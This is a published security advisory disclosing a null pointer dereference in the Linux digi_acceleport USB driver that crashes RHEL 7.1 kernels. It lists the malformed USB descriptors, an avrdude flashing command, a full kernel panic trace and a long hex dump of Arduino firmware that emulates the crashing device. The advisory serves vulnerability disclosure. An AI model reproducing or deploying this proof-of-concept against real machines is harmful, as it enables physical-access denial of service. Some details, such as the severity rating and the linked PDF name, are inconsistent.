Linux digi_acceleport Null Pointer Dereference

`OS-S Security Advisory 2016-12  
Linux digi_acceleport Nullpointer Dereference   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid   
USB device descriptors (digi_acceleport driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the digi_acceleport driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x5c5  
idProduct: 0x2  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
The digi_acceleport driver does not use the num_ports (struct usb_serial)   
value for any kind of sanity checks during the initialization process   
(digi_port_init & digi_startup). Due to an incomplete sanity check, the driver   
could try to dereference a null-pointer if a malformed device-descriptor is   
presented (zero-value for bNumEndpoints or no described endpoint-descriptors).  
This results in a crash of the system.   
  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1   
bmAttribut: 0x2   
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82   
bmAttribut: 0x1  
wMaxPacketSize: 0x4  
bInterval: 0xc  
  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patch was provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283378  
  
  
Kernel Stacktrace:  
  
[ 39.946974] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 40.160503] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint   
descriptors, different from the interface descriptor's value: 0  
[ 40.191627] usb 1-1: New USB device found, idVendor=05c5, idProduct=0002  
[ 40.200660] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 40.210919] usb 1-1: Product: ĉ  
[ 40.216028] usb 1-1: Manufacturer: ĉ  
[ 40.220047] usb 1-1: SerialNumber: %  
[ 40.285649] usbcore: registered new interface driver digi_acceleport  
[ 40.295629] usbserial: USB Serial support registered for Digi 2 port USB   
adapter  
[ 40.302062] usbserial: USB Serial support registered for Digi 4 port USB   
adapter  
[ 40.318968] digi_acceleport 1-1:1.0: Digi 2 port USB adapter converter   
detected  
[ 40.327158] BUG: unable to handle kernel NULL pointer dereference at   
0000000000000268  
[ 40.328013] IP: [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20  
[ 40.328013] PGD 0   
[ 40.328013] Oops: 0002 [#1] SMP   
[ 40.328013] Modules linked in: digi_acceleport(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 40.328013] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 40.328013] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 40.328013] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 40.328013] RIP: 0010:[<ffffffff81097dca>] [<ffffffff81097dca>]   
__init_waitqueue_head+0xa/0x20  
[ 40.328013] RSP: 0018:ffff88000bd23a30 EFLAGS: 00010282  
[ 40.328013] RAX: 0000000000000270 RBX: ffff88000af97d80 RCX: 0000000000000000  
[ 40.328013] RDX: ffffffffa03978f8 RSI: ffffffffa0396577 RDI: 0000000000000268  
[ 40.328013] RBP: ffff88000bd23a58 R08: 0000000000016440 R09: ffff88000e401800  
[ 40.328013] R10: ffffffffa039531a R11: ffff88000c3b9800 R12: 0000000000000000  
[ 40.328013] R13: 0000000000000003 R14: ffff88000af97840 R15: ffffffffa0397200  
[ 40.328013] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 40.328013] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 40.328013] CR2: 0000000000000268 CR3: 000000000cb80000 CR4:   
00000000000006f0  
[ 40.328013] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 40.328013] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 40.328013] Stack:  
[ 40.328013] ffff88000bd23a58 ffffffffa03953bf ffff88000d685d00 ffff88000af97840  
[ 40.328013] ffff88000c525830 ffff88000bd23a80 ffffffffa0395464 ffff88000bd23a80  
[ 40.328013] ffff88000af97858 ffff88000af97858 ffff88000bd23c18 ffffffff8145fed1  
[ 40.328013] Call Trace:  
[ 40.328013] [<ffffffffa03953bf>] ? digi_port_init+0xcf/0x100 [digi_acceleport]  
[ 40.328013] [<ffffffffa0395464>] digi_startup+0x54/0x98 [digi_acceleport]  
[ 40.328013] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230  
[ 40.328013] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0  
[ 40.328013] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0  
[ 40.328013] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0  
[ 40.328013] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100  
[ 40.328013] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 40.328013] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 40.328013] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 40.328013] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 40.328013] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 40.328013] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 40.328013] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580  
[ 40.328013] [<ffffffffa039a000>] ? 0xffffffffa0399fff  
[ 40.328013] [<ffffffffa039a01e>] usb_serial_module_init+0x1e/0x1000   
[digi_acceleport]  
[ 40.328013] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 40.328013] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 40.328013] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 40.328013] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 40.328013] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 40.328013] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 40.328013] Code: 00 48 c7 c7 50 32 d6 81 e8 74 38 57 00 e9 37 ff ff ff e8 5a   
1a 57 00 e9 61 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8d 47 08 <c7> 07 00   
00 00 00 48 89 e5 48 89 47 08 48 89 47 10 5d c3 0f 1f   
[ 40.328013] RIP [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20  
[ 40.328013] RSP <ffff88000bd23a30>  
[ 40.328013] CR2: 0000000000000268  
[ 40.772818] ---[ end trace b239663354a1c556 ]---  
[ 40.778676] Kernel panic - not syncing: Fatal exception  
[ 40.779642] drm_kms_helper: panic occurred, switching back to text console  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94C2050C942D04CE  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940C02C3  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C50009030C0306  
:1000B000FF0203032D032D032D0310031403180364  
:1000C0001E0322032D0328030000000200080E0077  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E0EDF3E102C005900D92A436B107D5  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C9402070C940000089547  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D  
:1001B00083E00E942E0361E087E00E942E0361E04D  
:1001C00088E00E942E030E9457067E012AE9E20E73  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
:10023000BF4F01900D928A95E1F72A593F4F99E0FF  
:10024000992ED901E92D1D92EA95E9F78E010957FA  
:100250001F4F87E0E7E6F1E0D80101900D928A9503  
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189  
:1002700001900D928A95E1F7AE0147585F4F87E0F4  
:10028000E5E7F1E0DA0101900D928A95E1F75E0170  
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D  
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172  
:1002B0001D92EA95E9F7E3E0DC011996EC93F90168  
:1002C0009082E4E0D9011196EC93F901DC01292D2B  
:1002D00001900D922A95E1F7FE01EC56FF4FDC01EB  
:1002E0001B96FC93EE931A971D96BC92AE921C97A8  
:1002F0001183008373836283558344830C521109F5  
:100300002CE0F80111922A95E9F721E0D80119961D  
:100310002C931997FE01E059FF4F01900D929A948A  
:10032000E1F7F8019387828761E088E00E94670324  
:100330008BE492E00E94630688E892E00E946306E4  
:1003400087EC92E00E94630686E093E00E946306D9  
:1003500082E493E00E9463068FE793E00E946306C5  
:1003600084EA93E00E9463068BEE93E00E946306AA  
:1003700083E00E949D03892B09F047C05E01F3E2F0  
:10038000AF0EB11C8824839482E1982E84E194E01E  
:100390000E946306BF92AF92DF92CF92FF92EF92DC  
:1003A0001F928F921F930F932DB73EB722513109A1  
:1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6  
:1003C000FE01FB96892D01900D928A95E1F78DE64D  
:1003D00095E00E94010668E873E180E090E00E94E9  
:1003E00079028DE695E00E944C0660E087E00E946D  
:1003F000670368E873E180E090E00E9479020FB63D  
:10040000F894DEBF0FBECDBFC1CF6AE070E080E0E0  
:1004100090E00E947902ACCF1F920F920FB60F921C  
:1004200011242F933F938F939F93AF93BF9380910A  
:10043000650590916605A0916705B09168053091BA  
:10044000640523E0230F2D3720F40196A11DB11D73  
:1004500005C026E8230F0296A11DB11D2093640557  
:100460008093650590936605A0936705B093680532  
:100470008091690590916A05A0916B05B0916C051A  
:100480000196A11DB11D8093690590936A05A09303  
:100490006B05B0936C05BF91AF919F918F913F9188  
:1004A0002F910F900FBE0F901F9018953FB7F894A3  
:1004B0008091690590916A05A0916B05B0916C05DA  
:1004C00026B5A89B05C02F3F19F00196A11DB11DAF  
:1004D0003FBF6627782F892F9A2F620F711D811DCC  
:1004E000911D42E0660F771F881F991F4A95D1F72B  
:1004F0000895CF92DF92EF92FF92CF93DF936B013B  
:100500007C010E945602EB01C114D104E104F10404  
:1005100079F00E9456026C1B7D0B683E7340A0F37D  
:1005200081E0C81AD108E108F108C851DC4FECCFCE  
:10053000DF91CF91FF90EF90DF90CF900895789466  
:1005400084B5826084BD84B5816084BD85B58260D8  
:1005500085BD85B5816085BDEEE6F0E08081816076  
:100560008083E1E8F0E01082808182608083808176  
:1005700081608083E0E8F0E0808181608083E1E950  
:10058000F0E0808182608083808181608083E0E907  
:10059000F0E0808181608083E1ECF0E08081846024  
:1005A0008083808182608083808181608083E3ECAE  
:1005B000F0E0808181608083E0ECF0E08081826007  
:1005C0008083E2ECF0E0808181608083EAE7F0E004  
:1005D000808184608083808182608083808181606B  
:1005E0008083808180688083089590E0FC0131974A  
:1005F000EE30F10590F5EA5AFF4F0C94A90980916D  
:1006000080008F7703C0809180008F7D8093800071  
:10061000089584B58F7702C084B58F7D84BD089519  
:10062000809190008F7707C0809190008F7D03C0EC  
:1006300080919000877F8093900008958091C00002  
:100640008F7703C08091C0008F7D8093C000089594  
:100650008091C200877F8093C2000895CF93DF937B  
:1006600090E0FC01EA51FF4F2491FC01EC5FFE4F4A  
:100670008491882349F190E0880F991FFC01E25C86  
:10068000FE4FA591B491805D9E4FFC01C591D49120  
:100690009FB7611108C0F8948C91209582238C93A8  
:1006A000888182230AC0623051F4F8948C91322FF1  
:1006B000309583238C938881822B888304C0F8949F  
:1006C0008C91822B8C939FBFDF91CF9108950F93D4  
:1006D0001F93CF93DF931F92CDB7DEB7282F30E063  
:1006E000F901E853FF4F8491F901EA51FF4F14914A  
:1006F000F901EC5FFE4F04910023C9F0882321F03B  
:1007000069830E94F5026981E02FF0E0EE0FFF1F80  
:10071000E05DFE4FA591B4919FB7F8948C91611163  
:1007200003C01095812301C0812B8C939FBF0F9034  
:10073000DF91CF911F910F910895CF93DF93282FD1  
:1007400030E0F901E853FF4F8491F901EA51FF4F7E  
:10075000D491F901EC5FFE4FC491CC2391F081114B  
:100760000E94F502EC2FF0E0EE0FFF1FEE5DFE4F52  
:10077000A591B4912C912D2381E090E021F480E0AB  
:1007800002C080E090E0DF91CF910895615030F099  
:100790002091F100FC0120830196F8CF289884E68F  
:1007A00080937D0508951092E900109271051092D2  
:1007B000700590936F0580936E050895FF920F93D7  
:1007C0001F93CF93DF93F82E8B01EA01BA01C80182  
:1007D0000E94A406F80120E030E08EEF2C173D07C0  
:1007E00091F1F7FE02C0A49101C0A0816091700553  
:1007F0007091710540916E0550916F0564177507F2  
:10080000ACF49091E8009570E1F39091E80092FDCE  
:100810001CC0A093F100A0917005B09171051196D4  
:10082000AF73BB27AB2B11F48093E800A091700548  
:10083000B09171051196B0937105A09370052F5F6B  
:100840003F4F3196CBCFC90102C08FEF9FEFDF91B1  
:10085000CF911F910F91FF9008951F920F920FB6A5  
:100860000F9211246F927F928F929F92AF92BF92BC  
:10087000CF92DF92EF92FF920F931F932F933F93AC  
:100880004F935F936F937F938F939F93AF93BF9398  
:10089000EF93FF93CF93DF93CDB7DEB76297DEBFC1  
:1008A000CDBF1092E9008091E80083FF46C168E067  
:1008B000CE010A960E94C60382EF8093E8009A85D3  
:1008C00097FF05C08091E80080FFFCCF03C08EEF4A  
:1008D0008093E800892F807609F023C18B858111F0  
:1008E00005C01092F1001092F10020C1282F2D7F39  
:1008F000213009F41BC1853049F48091E80080FF64  
:10090000FCCF8C8580688093E30010C1863009F0AD  
:10091000E1C02D8508891989223009F0B3C0EC8423  
:100920008E2D90E020917305309174058217930706  
:100930000CF09FC00E94D3031F92EF928DE394E0CE  
:100940009F938F930E9481068CE0E89E7001112492  
:10095000E0917505F0917605EE0DFF1D89E0DE0151  
:10096000119601900D928A95E1F7C8010E94D30378  
:1009700049E050E0BE016F5F7F4F80E00E94DE03E0  
:100980000F900F900F900F90C12CD12C612C712CD7  
:1009900033E7A32E34E0B32E4AEA842E44E0942EAB  
:1009A000E0917505F0917605EE0DFF1D818590E0D3  
:1009B000681679060CF0BAC07F926F92BF92AF9220  
:1009C0000E948106E0917505F0917605EE0DFF1D00  
:1009D000628573856C0D7D1D49E050E080E00E94CA  
:1009E000DE030F900F900F900F9000E010E0E09169  
:1009F0007505F0917605EE0DFF1D0284F385E02D5F  
:100A0000EC0DFD1D818590E0081719075CF51F931B  
:100A10000F939F928F920E948106E0917505F0914D  
:100A20007605EE0DFF1D0284F385E02DEC0DFD1D16  
:100A3000C801880F991FA485B585A80FB91F4D91CE  
:100A40005C910284F385E02DE80FF91F60817181CC  
:100A500080E00E94DE030F5F1F4F0F900F900F90FA  
:100A60000F90C5CF8FEF681A780A8EE0C80ED11CA0  
:100A700097CF8FED94E09F938F930E9481060F9004  
:100A80000F9058C0C8012A8B0E94D3032A892130B5  
:100A9000C1F0233009F04EC08C851F928F9389EFEF  
:100AA00094E09F938F930E94810642E050E062E8B9  
:100AB00071E080E00E94DE030F900F900F900F9086  
:100AC00035C04091000150E060E071E080E00E949C  
:100AD000DE032CC0873071F1883021F481E08093EF  
:100AE000F10024C0893011F5937021F5EDE4F1E0B7  
:100AF00081E021E096E38093E9002093EB003491BC  
:100B00003093EC009093ED008F5F3196843099F72D  
:100B10008EE78093EA001092EA008C85809372053C  
:100B200005C0888999890E94D30304C08EEF809301  
:100B3000E80003C081E28093EB0062960FB6F89460  
:100B4000DEBF0FBECDBFDF91CF91FF91EF91BF917F  
:100B5000AF919F918F917F916F915F914F913F9155  
:100B60002F911F910F91FF90EF90DF90CF90BF904A  
:100B7000AF909F908F907F906F900F900FBE0F90CF  
:100B80001F9018951F920F920FB60F9211248F93FA  
:100B90009F938091E1001092E10083FF0FC01092BB  
:100BA000E90091E09093EB001092EC0092E39093B7  
:100BB000ED001092720598E09093F00082FF1AC049  
:100BC00080917E05882339F080917E058150809345  
:100BD0007E05882369F080917D05882359F08091F6  
:100BE0007D05815080937D05811104C0289A02C043  
:100BF0005D9AF1CF9F918F910F900FBE0F901F9034  
:100C00001895CF93DF93CDB7DEB782E1FE0135961D  
:100C1000A0E0B1E001900D928A95E1F78F89988D5F  
:100C20009093760580937505898D9A8D90937405C0  
:100C3000809373058B8D9C8D90937C0580937B05B1  
:100C40008D8D9E8D90937A05809379058F8D98A1D7  
:100C500090937805809377051092720581E08093D8  
:100C6000D70080EA8093D80082E189BD09B400FEF4  
:100C7000FDCF61E070E080E090E00E94790280E9C1  
:100C80008093D8008CE08093E2001092E000559AA7  
:100C9000209ADF91CF91089581E08093E00008953C  
:100CA0009091C80095FFFCCF8093CE0008951092DC  
:100CB000CD0087E68093CC0088E18093C9008EE068  
:100CC0008093CA0008950F931F93CF93DF93EC0195  
:100CD0008C01FE0101900020E9F73197EC1BFD0B20  
:100CE000C8018C1B9D0B8E179F0730F4F801819172  
:100CF0008F010E945006EDCFDF91CF911F910F9190  
:100D00000895CF93DF93CDB7DEB7DA950FB6F89499  
:100D1000DEBF0FBECDBFFE01EB5FFE4F4191519193  
:100D20009F0160E071E0CE0101960E940507CE01AF  
:100D300001960E946306D3950FB6F894DEBF0FBEEE  
:100D4000CDBFDF91CF9108958F929F92AF92BF92C6  
:100D5000CF92DF92EF92FF920F931F93CF93DF9387  
:100D600000D0CDB7DEB75B0122E535E03F932F938E  
:100D700089839A830E9481068981882E9A81992E7F  
:100D80000F900F9000E010E08EE5E82E85E0F82E41  
:100D900091E1C92E94E0D92E0A151B05E4F4F40163  
:100DA00081914F0190E09F938F93FF92EF920E9469  
:100DB00081060F5F1F4FC8018F7099270F900F900A  
:100DC0000F900F90892B41F7DF92CF920E948106FE  
:100DD0000F900F90E1CF81E194E09F938F930E9459  
:100DE00081060F900F900F900F90DF91CF911F9180  
:100DF0000F91FF90EF90DF90CF90BF90AF909F90BA  
:100E00008F900895F8940C94E609AEE0B0E0EBE022  
:100E1000F7E00C94BD098C01CA0146E04C831A83AB  
:100E2000098377FF02C060E070E8615071097E833A  
:100E30006D83A901BC01CE0101960E9431074D814D  
:100E40005E8157FD0AC02F813885421753070CF485  
:100E50009A01F801E20FF31F10822E96E4E00C9441  
:100E6000D909ACE0B0E0E7E3F7E00C94AF097C010E  
:100E70006B018A01FC0117821682838181FFBDC14B  
:100E8000CE0101964C01F7019381F60193FD859106  
:100E900093FF81916F01882309F4ABC1853239F446  
:100EA00093FD859193FF81916F01853229F4B701FC  
:100EB00090E00E941909E7CF512C312C20E020321C  
:100EC000A0F48B3269F030F4803259F0833269F447  
:100ED00020612CC08D3239F0803339F4216026C076  
:100EE0002260246023C0286021C027FD27C030ED88  
:100EF000380F3A3078F426FF06C0FAE05F9E300DD6  
:100F00001124532E13C08AE0389E300D1124332E45  
:100F100020620CC08E3221F426FD6BC1206406C015  
:100F20008C3611F4206802C0883641F4F60193FD36  
:100F3000859193FF81916F018111C1CF982F9F7D82  
:100F40009554933028F40C5F1F4FFFE3F9830DC0D5  
:100F5000833631F0833771F0833509F05BC022C0EE  
:100F6000F801808189830E5F1F4F44244394512CE4  
:100F7000540115C03801F2E06F0E711CF801A08019  
:100F8000B18026FF03C0652D70E002C06FEF7FEFD8  
:100F9000C5012C870E940E092C0183012C852F7717  
:100FA000222E17C03801F2E06F0E711CF801A080EC  
:100FB000B18026FF03C0652D70E002C06FEF7FEFA8  
:100FC000C5012C870E9403092C012C852068222E44  
:100FD000830123FC1BC0832D90E048165906B0F412  
:100FE000B70180E290E00E9419093A94F4CFF5012C  
:100FF00027FC859127FE81915F01B70190E00E9457  
:10100000190931103A94F1E04F1A51084114510472  
:1010100071F7E5C0843611F0893639F5F80127FFFC  
:1010200007C060817181828193810C5F1F4F08C06E  
:1010300060817181882777FD8095982F0E5F1F4F03  
:101040002F76B22E97FF09C0909580957095619587  
:101050007F4F8F4F9F4F2068B22E2AE030E0A401CF  
:101060000E944B09A82EA81844C0853729F42F7E6A  
:10107000B22E2AE030E025C0F22FF97FBF2E8F3646  
:10108000C1F018F4883579F0B4C0803719F088378A  
:1010900021F0AFC02F2F2061B22EB4FE0DC08B2DDA  
:1010A0008460B82E09C024FF0AC09F2F9660B92E15  
:1010B00006C028E030E005C020E130E002C020E1B9  
:1010C00032E0F801B7FE07C06081718182819381AF  
:1010D0000C5F1F4F06C06081718180E090E00E5F61  
:1010E0001F4FA4010E944B09A82EA818FB2DFF77C3  
:1010F000BF2EB6FE0BC02B2D2E7FA51450F4B4FED0  
:101100000AC0B2FC08C02B2D2E7E05C07A2C2B2DD8  
:1011100003C07A2C01C0752C24FF0DC0FE01EA0D1E  
:10112000F11D8081803311F4297E09C022FF06C0A1  
:101130007394739404C0822F867809F0739423FD0E  
:1011400013C020FF06C05A2C731418F4530C571800  
:10115000732C731468F4B70180E290E02C870E942E  
:10116000190973942C85F5CF731410F4371801C046  
:10117000312C24FF12C0B70180E390E02C870E943D  
:1011800019092C8522FF17C021FF03C088E590E0D4  
:1011900002C088E790E0B7010CC0822F867859F032  
:1011A00021FD02C080E201C08BE227FD8DE2B70184  
:1011B00090E00E941909A51438F4B70180E390E08B  
:1011C0000E9419095A94F7CFAA94F401EA0DF11D6F  
:1011D0008081B70190E00E941909A110F5CF33205A  
:1011E00009F451CEB70180E290E00E9419093A94C7  
:1011F000F6CFF7018681978102C08FEF9FEF2C9683  
:10120000E2E10C94CB09FC010590615070400110A3  
:10121000D8F7809590958E0F9F1F0895FC0161501F  
:10122000704001900110D8F7809590958E0F9F1F08  
:1012300008950F931F93CF93DF93182F092FEB017E  
:101240008B8181FD03C08FEF9FEF20C082FF10C014  
:101250004E815F812C813D81421753077CF4E881E8  
:10126000F9819F012F5F3F4F39832883108306C088  
:10127000E885F985812F0995892B29F72E813F81F2  
:101280002F5F3F4F3F832E83812F902FDF91CF9190  
:101290001F910F910895FA01AA27283051F12031AA  
:1012A00081F1E8946F936E7F6E5F7F4F8F4F9F4FFA  
:1012B000AF4FB1E03ED0B4E03CD0670F781F891F3C  
:1012C0009A1FA11D680F791F8A1F911DA11D6A0F0A  
:1012D000711D811D911DA11D20D009F468943F91BD  
:1012E0002AE0269F11243019305D3193DEF6CF01BC  
:1012F0000895462F4770405D4193B3E00FD0C9F782  
:10130000F6CF462F4F70405D4A3318F0495D31FDEE  
:101310004052419302D0A9F7EACFB4E0A695979541  
:10132000879577956795BA95C9F700976105710517  
:1013300008959B01AC010A2E069457954795379561  
:101340002795BA95C9F7620F731F841F951FA01DBB  
:101350000895EE0FFF1F0590F491E02D09942F9250  
:101360003F924F925F926F927F928F929F92AF9235  
:10137000BF92CF92DF92EF92FF920F931F93CF9382  
:10138000DF93CDB7DEB7CA1BDB0B0FB6F894DEBF19  
:101390000FBECDBF09942A88398848885F846E843F  
:1013A0007D848C849B84AA84B984C884DF80EE8089  
:1013B000FD800C811B81AA81B981CE0FD11D0FB692  
:1013C000F894DEBF0FBECDBFED010895F894FFCFB6  
:1013D0001201000200000040AD0BEFBE000101024F  
:1013E000000122034200610064002000420041002D  
:1013F00042004500250078002500780025006E0099  
:101400002500700018034200410044002000430002  
:101410003000460046004500450021001201000250  
:1014200000000040C505020000010102030109029D  
:10143000270001010000FA0705810304040C0705D9  
:10144000010204000C0705820104000C07000700DC  
:101450000700480100500072006F006C00690066D0  
:101460000069006300000A550000006BFD180A00C7  
:10147000809F0AB901312B940A8101128946001319  
:10148000000257028B0A5E0AF80A5F01F21201009D  
:1014900002010000400D055702000101020301B9DD  
:1014A0000A0100F80A5F0A810A220342006100640F  
:1014B0000020004200410042004500250078002540  
:1014C00000780025006E00250070001803420041DE  
:1014D000004400200043003000460046004500451F  
:1014E00000210012010002010000400D055702001A  
:1014F000010102030109040000030100000003F2DE  
:101500000AEC0A0902270001010000FA01AB0A09EE  
:101510000400000301000000090200202020202018  
:101520005F5F5F5F5F5F5F5F2020202020202020C3  
:1015300020202020202020202020202020202020AB  
:1015400020205F5F5F5F5F205F5F20205F202020A3  
:101550002020205F5F0A0D00202020202F205F5FC9  
:101560005F5F2F202F5F20205F5F5F5F205F5F5FE7  
:101570005F5F20205F5F5F5F5F20202020202F20A3  
:101580005F5F5F2F2F202F5F285F295F5F5F5F2FD7  
:10159000202F5F5F0A0D002020202F202F202020E9  
:1015A0002F205F5F205C2F205F5F20602F205F5F18  
:1015B000205C2F205F5F5F2F5F5F5F5F205C5F5F5E  
:1015C000205C2F205F5F2F202F205F5F5F2F202F59  
:1015D0002F5F2F0A0D0020202F202F5F5F5F2F200D  
:1015E0002F202F202F202F5F2F202F202F5F2F2005  
:1015F000285F5F2020292F5F5F5F2F205F5F2F20F4  
:101600002F202F5F2F202F202F5F5F2F202C3C0AB1  
:101610000D0020205C5F5F5F5F2F5F2F202F5F2F0B  
:101620005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F63  
:101630002F20202020202F5F5F5F5F2F5C5F5F2FB8  
:101640005F2F5C5F5F5F2F5F2F7C5F7C0A0D002048  
:101650003C3C2043485241534820414E59204F5072  
:1016600045524154494E472053595354454D203E0D  
:101670003E0A0D00203C3C202863292053657267F8  
:10168000656A20536368756D696C6F20323031353F  
:101690002C204F70656E536F7572636520536563C0  
:1016A00075726974792052616C66205370656E6E34  
:1016B0006562657267203E3E0A0D000A3E3E20507C  
:1016C0007265737320627574746F6E20746F20730B  
